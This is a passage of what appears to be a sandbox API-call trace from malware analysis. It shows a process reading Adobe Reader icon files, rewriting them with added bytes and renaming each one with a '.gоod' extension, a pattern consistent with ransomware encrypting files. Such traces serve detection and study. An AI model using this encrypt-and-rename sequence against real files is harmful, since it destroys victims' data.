1 [0146.389] CloseHandle (hObject=0x804) returned 1 [0146.389] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x8f [0146.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0146.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.389] GetFileType (hFile=0x804) returned 0x1 [0146.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0146.389] GetFileType (hFile=0x804) returned 0x1 [0146.389] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x12a5 [0146.389] WriteFile (in: hFile=0x804, lpBuffer=0x37d61d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x37d61d0*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0146.390] CloseHandle (hObject=0x804) returned 1 [0146.390] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x8f [0146.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0146.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.390] GetFileType (hFile=0x804) returned 0x1 [0146.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0146.390] GetFileType (hFile=0x804) returned 0x1 [0146.390] ReadFile (in: hFile=0x804, lpBuffer=0x37d8558, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x37d8558*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0146.418] CloseHandle (hObject=0x804) returned 1 [0146.418] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x8f [0146.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0146.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.419] GetFileType (hFile=0x804) returned 0x1 [0146.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0146.419] GetFileType (hFile=0x804) returned 0x1 [0146.419] WriteFile (in: hFile=0x804, lpBuffer=0x37d71e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x37d71e8*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0146.419] CloseHandle (hObject=0x804) returned 1 [0146.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x8f [0146.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png.gоod", lpFilePart=0x0) returned 0x94 [0146.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0146.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x537cf6a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12b5)) returned 1 [0146.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0146.419] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png.gоod")) returned 1 [0146.420] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x8f [0146.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0146.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x3854ce8 | out: lpFileInformation=0x3854ce8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x235b)) returned 1 [0146.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0146.420] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x8f [0146.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0146.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.421] GetFileType (hFile=0x804) returned 0x1 [0146.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0146.421] GetFileType (hFile=0x804) returned 0x1 [0146.421] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0146.421] ReadFile (in: hFile=0x804, lpBuffer=0x3855290, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x3855290*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0147.400] CloseHandle (hObject=0x804) returned 1 [0147.775] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x8f [0147.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0147.775] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.775] GetFileType (hFile=0x808) returned 0x1 [0147.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0147.775] GetFileType (hFile=0x808) returned 0x1 [0147.775] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x235b [0147.775] WriteFile (in: hFile=0x808, lpBuffer=0x36e6cb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x36e6cb0*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0147.776] CloseHandle (hObject=0x808) returned 1 [0147.776] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x8f [0147.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0147.776] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.777] GetFileType (hFile=0x808) returned 0x1 [0147.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0147.777] GetFileType (hFile=0x808) returned 0x1 [0147.777] ReadFile (in: hFile=0x808, lpBuffer=0x36e90a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x36e90a0*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0147.806] CloseHandle (hObject=0x808) returned 1 [0147.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x8f [0147.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0147.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.807] GetFileType (hFile=0x808) returned 0x1 [0147.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0147.807] GetFileType (hFile=0x808) returned 0x1 [0147.807] WriteFile (in: hFile=0x808, lpBuffer=0x36e7d30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x36e7d30*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0147.807] CloseHandle (hObject=0x808) returned 1 [0147.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x8f [0147.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png.gоod", lpFilePart=0x0) returned 0x94 [0147.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0147.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x545127d9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x236b)) returned 1 [0147.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0147.807] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png.gоod")) returned 1 [0147.808] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png", lpFilePart=0x0) returned 0x8d [0147.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0147.808] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x3765ab0 | out: lpFileInformation=0x3765ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac7)) returned 1 [0147.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0147.809] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png", lpFilePart=0x0) returned 0x8d [0147.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0147.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.809] GetFileType (hFile=0x808) returned 0x1 [0147.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0147.809] GetFileType (hFile=0x808) returned 0x1 [0147.809] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0xac7 [0147.809] ReadFile (in: hFile=0x808, lpBuffer=0x37669a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x37669a0*, lpNumberOfBytesRead=0x1fdeaf88*=0xac7, lpOverlapped=0x0) returned 1 [0148.166] CloseHandle (hObject=0x808) returned 1 [0148.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png", lpFilePart=0x0) returned 0x8d [0148.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0148.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0148.238] GetFileType (hFile=0x808) returned 0x1 [0148.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0148.238] GetFileType (hFile=0x808) returned 0x1 [0148.238] WriteFile (in: hFile=0x808, lpBuffer=0x38be370*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x38be370*, lpNumberOfBytesWritten=0x1fdeae98*=0xad0, lpOverlapped=0x0) returned 1 [0148.239] CloseHandle (hObject=0x808) returned 1 [0148.239] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png", lpFilePart=0x0) returned 0x8d [0148.239] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png.gоod", lpFilePart=0x0) returned 0x92 [0148.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0148.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x54918752, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xad0)) returned 1 [0148.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0148.239] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png.gоod")) returned 1 [0148.240] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png", lpFilePart=0x0) returned 0x8d [0148.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0148.240] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x38bf7b0 | out: lpFileInformation=0x38bf7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d)) returned 1 [0148.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0148.240] 